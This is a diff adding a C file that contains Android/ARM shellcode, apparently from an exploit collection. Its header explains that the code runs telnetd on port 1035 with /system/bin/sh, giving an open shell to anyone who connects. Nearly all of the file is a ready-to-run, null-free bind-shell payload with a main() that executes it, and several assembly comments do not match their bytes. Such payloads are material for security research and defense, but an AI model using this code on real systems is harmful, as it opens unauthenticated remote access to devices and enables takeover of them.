|
| 1 | +/* |
| 2 | +Title: Android/ARM - telnetd with three parameters and an environment variable |
| 3 | +Date: 2015-07-31 |
| 4 | +Tested on: Android Emulator and Samsung Note 10.1 (Android version 4.1.2) |
| 5 | +Author: Steven Padilla - email: spadilla@tresys.com |
| 6 | +Organization: Tresys LLC |
| 7 | +Vendor HomePage: www.tresys.com |
| 8 | +Version: 1.0 |
| 9 | +
|
| 10 | +
|
| 11 | +Android ARM shellcode with dynamic string creation and including no |
| 12 | +0x20, 0x0a and 0x00. |
| 13 | +
|
| 14 | +This shellcode will execute telnetd listening on port 1035. Whenever |
| 15 | +anyone connects to port 1035 they will be presented with a shell |
| 16 | +prompt. This code assumes that telnetd and sh are executables in the |
| 17 | +/system/bin/ directory. |
| 18 | +
|
| 19 | +In order to minimize the length of the shellcode the beginning of the |
| 20 | +path /system/bin/ is created once and stored three times. |
| 21 | +
|
| 22 | +The executable name (/system/bin/telnetd), the other two paramaters |
| 23 | +(-p1035 and -l/system/bin/sh) and the environment variable |
| 24 | +(PATH=/system/bin) are strings that are created and stored in memory |
| 25 | +above the top of the stack. The strings are created by first moving a |
| 26 | +byte to register1, left shitf register1 8 bits, add the next byte, |
| 27 | +left shift again, add the next byte, left shift again and then adding |
| 28 | +the fourth byte. Note that due to endianess the bytes are added in |
| 29 | +reverse order. Thus if the string to be created is "/adb" the 'b' |
| 30 | +would be moved into r1, followed by the shift and then the 'd' is |
| 31 | +added, shift, then the 'a', shift, and finally the '/'. |
| 32 | +
|
| 33 | +In the example below the stack pointer has the value 0xbe91da08. |
| 34 | +
|
| 35 | +Right before calling the execve call (i.e., svc 1 with register 7 containing |
| 36 | +11) register0 is loaded with the 0xbe91da24, register1 is loaded with |
| 37 | +the 0xbe91da0c and register2 is loaded with 0xbe91da1c. The memory |
| 38 | +above the stack should look like the following (note to make it easier |
| 39 | +to read the strings are presented in the order they appear if you read |
| 40 | +them as strings. If you look at each word you will see the bytes in |
| 41 | +reverse order due to endianess) : |
| 42 | +
|
| 43 | + +----------------------------------+ |
| 44 | +0xbe91da08 | NULL | This is where the stack |
| 45 | + | | pointer is pointing. |
| 46 | + +----------------------------------+ |
| 47 | +0xbe91da0c | 0xbe91da24 | These first three entries |
| 48 | + | | are pointers to the path |
| 49 | + | | of the executable and its |
| 50 | + | | two parameters. |
| 51 | + +----------------------------------+ |
| 52 | +0xbe91da10 | 0xbe91da50 | |
| 53 | + +----------------------------------+ |
| 54 | +0xbe91da14 | 0xbe91da5f | |
| 55 | + +----------------------------------+ |
| 56 | +0xbe91da18 | NULL | The list of parameters must |
| 57 | + | | be terminated by a NULL. |
| 58 | + +----------------------------------+ |
| 59 | +0xbe91da1c | 0xbe91da88 | This points to the first |
| 60 | + | | (and only) environment |
| 61 | + | | variable. |
| 62 | + +----------------------------------+ |
| 63 | +0xbe91da20 | NULL | The list of environment |
| 64 | + | | variables must be terminated |
| 65 | + | | by a NULL. |
| 66 | + +----------------------------------+ |
| 67 | +0xbe91da24 | "//system/bin/telnetd" | This is where the name of |
| 68 | + | | the executable and the first |
| 69 | + | | parameter is stored. |
| 70 | + +----------------------------------+ |
| 71 | +0xbe91da50 | "-p1035" | This is where the second |
| 72 | + | | parameter is stored. |
| 73 | + +----------------------------------+ |
| 74 | +0xbe91da5f | "-l/system/bin/sh" | This is where the third |
| 75 | + | | parameter is stored. |
| 76 | + +----------------------------------+ |
| 77 | +0xbe91da88 | "PATH=/system/bin/" | This is where the first |
| 78 | + | | environment variable is |
| 79 | + | | stored. |
| 80 | + +----------------------------------+ |
| 81 | +
|
| 82 | +*/ |
| 83 | + |
| 84 | +#include <stdio.h> |
| 85 | +#include <string.h> |
| 86 | + |
| 87 | +char *SC = "\x01\x30\x8f\xe2" //add r3,pc, #1 |
| 88 | + "\x13\xff\x2f\xe1" //bx r3 |
| 89 | + "\x78\x46" //mov r0, pc |
| 90 | + "\x18\x30" //adds r0, 0x18 |
| 91 | + "\x92\x1a" // subs r2,r2,r2 |
| 92 | + "\x49\x1a" // subs r1, r1, r1 |
| 93 | + |
| 94 | + "\x6a\x44" // add r2, sp |
| 95 | + |
| 96 | + "\x79\x21" // mov r1, 'y' |
| 97 | + "\x09\x02" // LSL r1,r1, #8 |
| 98 | + "\x73\x31" // adds r1, 's' |
| 99 | + "\x09\x02" // LSL r1,r1, #8 |
| 100 | + "\x2f\x31" // adds r1, '/' |
| 101 | + "\x09\x02" // LSL r1,r1, #8 |
| 102 | + "\x2f\x31" // adds r1, '/' |
| 103 | + "\x07\x91" // str r1, [sp, #4] |
| 104 | + |
| 105 | + "\x12\x25" // mov r5, 0x12 |
| 106 | + "\x4d\x40" // eor r5,r1 |
| 107 | + "\x21\x95" // str r5, [sp, #4] |
| 108 | + |
| 109 | + "\x43\x25" // mov r5, 0x43 |
| 110 | + "\x4d\x40" // eor r5,r1 |
| 111 | + "\x16\x95" // str r5, [sp, #4] |
| 112 | + |
| 113 | + "\x6d\x21" // mov r1, 'm' |
| 114 | + "\x09\x02" // LSL r1,r1, #8 |
| 115 | + "\x65\x31" // adds r1, 'e' |
| 116 | + "\x09\x02" // LSL r1,r1, #8 |
| 117 | + "\x74\x31" // adds r1, 't' |
| 118 | + "\x09\x02" // LSL r1,r1, #8 |
| 119 | + "\x73\x31" // adds r1, 's' |
| 120 | + "\x08\x91" // str r1, [sp, 0x8] |
| 121 | + "\x17\x91" // str r1, [sp, 0x17] |
| 122 | + "\x22\x91" // str r1, [sp, 0x22] |
| 123 | + |
| 124 | + "\x6e\x21" // mov r1, 'n' |
| 125 | + "\x09\x02" // LSL r1,r1, #8 |
| 126 | + "\x69\x31" // adds r1, 'i' |
| 127 | + "\x09\x02" // LSL r1,r1, #8 |
| 128 | + "\x62\x31" // adds r1, 'b' |
| 129 | + "\x09\x02" // LSL r1,r1, #8 |
| 130 | + "\x2f\x31" // adds r1, '/' |
| 131 | + "\x09\x91" // str r1, [sp, 0x9] |
| 132 | + "\x18\x91" // str r1, [sp, 0x18] |
| 133 | + "\x23\x91" // str r1, [sp, 0x23] |
| 134 | + |
| 135 | + "\x6c\x21" // mov r1, 'l' |
| 136 | + "\x09\x02" // LSL r1,r1, #8 |
| 137 | + "\x65\x31" // adds r1, 'e' |
| 138 | + "\x09\x02" // LSL r1,r1, #8 |
| 139 | + "\x74\x31" // adds r1, 't' |
| 140 | + "\x09\x02" // LSL r1,r1, #8 |
| 141 | + "\x2f\x31" // adds r1, '/' |
| 142 | + "\x28\x24" // mov r4, 0x0f |
| 143 | + "\x11\x51" // str r1, [r2, r4] |
| 144 | + |
| 145 | + "\x6c\x25" // mov r5, 'l' |
| 146 | + "\x2d\x02" // LSL r1,r1, #8 |
| 147 | + "\x0d\x35" // adds r5, 0x0d |
| 148 | + "\x2d\x02" // LSL r1,r1, #8 |
| 149 | + "\x07\x35" // adds r5, 0x07 |
| 150 | + "\x2d\x02" // LSL r1,r1, #8 |
| 151 | + "\x4d\x40" // eor r5,r1 |
| 152 | + "\x19\x95" // str r5, [sp, 0x19] |
| 153 | + |
| 154 | + "\x64\x21" // mov r1, 'd' |
| 155 | + "\x09\x02" // LSL r1,r1, #8 |
| 156 | + "\x74\x31" // adds r1, 't' |
| 157 | + "\x09\x02" // LSL r1,r1, #8 |
| 158 | + "\x65\x31" // adds r1, 'e' |
| 159 | + "\x09\x02" // LSL r1,r1, #8 |
| 160 | + "\x6e\x31" // adds r1, 'n' |
| 161 | + "\x0b\x91" // str r1, [sp, 0xb] |
| 162 | + |
| 163 | + "\x49\x1a" // subs r1, r1, r1 |
| 164 | + "\x0c\x91" // str r1, [sp, 0xc] |
| 165 | + |
| 166 | + "\x30\x21" // mov r1, '0' |
| 167 | + "\x09\x02" // LSL r1,r1, #8 |
| 168 | + "\x31\x31" // adds r1, '1' |
| 169 | + "\x09\x02" // LSL r1,r1, #8 |
| 170 | + "\x70\x31" // adds r1, 'p' |
| 171 | + "\x09\x02" // LSL r1,r1, #8 |
| 172 | + "\x2d\x31" // adds r1, '-' |
| 173 | + "\x12\x91" // str r1, [sp, #44] |
| 174 | + |
| 175 | + "\x49\x1a" // subs r1, r1, r1 |
| 176 | + "\x35\x31" // add r1, '5' |
| 177 | + "\x09\x02" // LSL r1,r1, #8 |
| 178 | + "\x33\x31" // adds r1, '3' |
| 179 | + "\x13\x91" // str r1, [sp, 0x13] |
| 180 | + |
| 181 | + "\x49\x1a" // subs r1, r1, r1 |
| 182 | + "\x14\x91" // str r1, [sp, 0x14] |
| 183 | + |
| 184 | + "\x2d\x21" // mov r1, '-' |
| 185 | + "\x09\x02" // LSL r1,r1, #8 |
| 186 | + "\x09\x02" // LSL r1,r1, #8 |
| 187 | + "\x09\x02" // LSL r1,r1, #8 |
| 188 | + "\x15\x91" // str r1, [sp, 0x15] |
| 189 | + |
| 190 | + "\x49\x1a" // subs r1, r1, r1 |
| 191 | + "\x1f\x91" // str r1, [sp, 0x1f] |
| 192 | + |
| 193 | + "\x48\x21" // mov r1, 'H' |
| 194 | + "\x09\x02" // LSL r1,r1, #8 |
| 195 | + "\x54\x31" // adds r1, 'T' |
| 196 | + "\x09\x02" // LSL r1,r1, #8 |
| 197 | + "\x41\x31" // adds r1, 'A' |
| 198 | + "\x09\x02" // LSL r1,r1, #8 |
| 199 | + "\x50\x31" // adds r1, 'P' |
| 200 | + "\x80\x24" // mov r4, 0x0f |
| 201 | + "\x11\x51" // str r1, [r2, r4] |
| 202 | + |
| 203 | + "\x2f\x21" // mov r1, '/' |
| 204 | + "\x24\x91" // str r1, [sp, 0x24] |
| 205 | + |
| 206 | + "\x04\x32" // add r2, 0x4 |
| 207 | + |
| 208 | + "\x49\x1a" // subs r1, r1, r1 |
| 209 | + "\x11\x1c" // add r1, r2, #0 |
| 210 | + "\x18\x31" // add r1, 0x18 |
| 211 | + "\x01\x91" // str r1, [sp, 0x1] |
| 212 | + |
| 213 | + "\x2c\x31" // add r1, #40 |
| 214 | + "\x02\x91" // str r1, [sp, 0x2] |
| 215 | + |
| 216 | + "\x0f\x31" // add r1, #4 |
| 217 | + "\x03\x91" // str r1, [sp, 0x3] |
| 218 | + |
| 219 | + "\x29\x31" // add r1, #28 |
| 220 | + "\x05\x91" // str r1, [sp, #0x5] |
| 221 | + |
| 222 | + "\x49\x1a" // subs r1, r1, r1 |
| 223 | + "\x04\x91" // str r1, [sp, 0x4] |
| 224 | + |
| 225 | + "\x06\x91" // str r1, [sp, 0x6] |
| 226 | + |
| 227 | + "\x10\x1c" // add r0, r2, #0 |
| 228 | + "\x18\x30" // add r0, 0x18 |
| 229 | + |
| 230 | + "\x11\x1c" // add r1, r2, #0 |
| 231 | + |
| 232 | + "\x10\x32" // adds r2, 0x10 |
| 233 | + |
| 234 | + "\xdb\x1a" // subs r3, r3, r3 |
| 235 | + |
| 236 | + |
| 237 | + "\x0b\x27" //movs r7,#11 |
| 238 | + "\x01\xdf"; //svc 1 |
| 239 | + |
| 240 | +int main(void) |
| 241 | +{ |
| 242 | + (*(void(*) ()) SC) (); |
| 243 | + return 0; |
| 244 | +} |
| 245 | + |
0 commit comments